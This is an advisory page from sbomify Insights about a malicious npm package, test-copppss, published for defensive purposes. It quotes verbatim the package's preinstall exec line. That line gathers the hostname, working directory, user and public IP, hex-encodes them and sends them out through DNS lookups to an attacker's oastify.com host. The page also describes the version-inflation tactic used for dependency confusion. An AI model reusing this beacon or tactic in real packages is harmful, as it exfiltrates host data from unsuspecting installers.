# MAL-2026-5926: Malicious code in test-copppss (npm)


- **Type:** Malicious package
- **Package:** `test-copppss` (npm)
- **Published:** 16 Jun 2026

## What is MAL-2026-5926?

MAL-2026-5926 is a malicious package in test-copppss, published on 16 Jun 2026. 

### Official description

On `npm install`, the package's `preinstall` hook (`node index.js > /dev/null 2>&1`) runs a shell pipeline that collects host identifiers — `hostname`, `pwd`, `whoami`, the package name `test-copppss`, and the machine's public IP via `curl https://ifconfig.me` — hex-encodes the concatenation with `xxd -p`, and exfiltrates it as DNS subdomain lookups to `*.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com` (a Burp Collaborator OAST endpoint controlled by the operator). Code at index.js:2 is `exec("a=$(hostname;pwd;whoami;echo 'test-copppss';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com;done")`. The package metadata (empty description, near-max version `1.999.0` to win semver resolution, single trivial dependency, preinstall beacon) matches the canonical dependency-confusion / namespace-claim reconnaissance shape — the attacker is probing which internal build systems resolve `test-copppss` to this public name and is harvesting the host fingerprint of any environment that does.

## What should I do about MAL-2026-5926?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5926 is a malicious package: test-copppss (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5926/ (Markdown: https://insights.sbomify.com/MAL-2026-5926/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5926

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5926/
Summaries are generated and may contain mistakes; the official description above is the record.
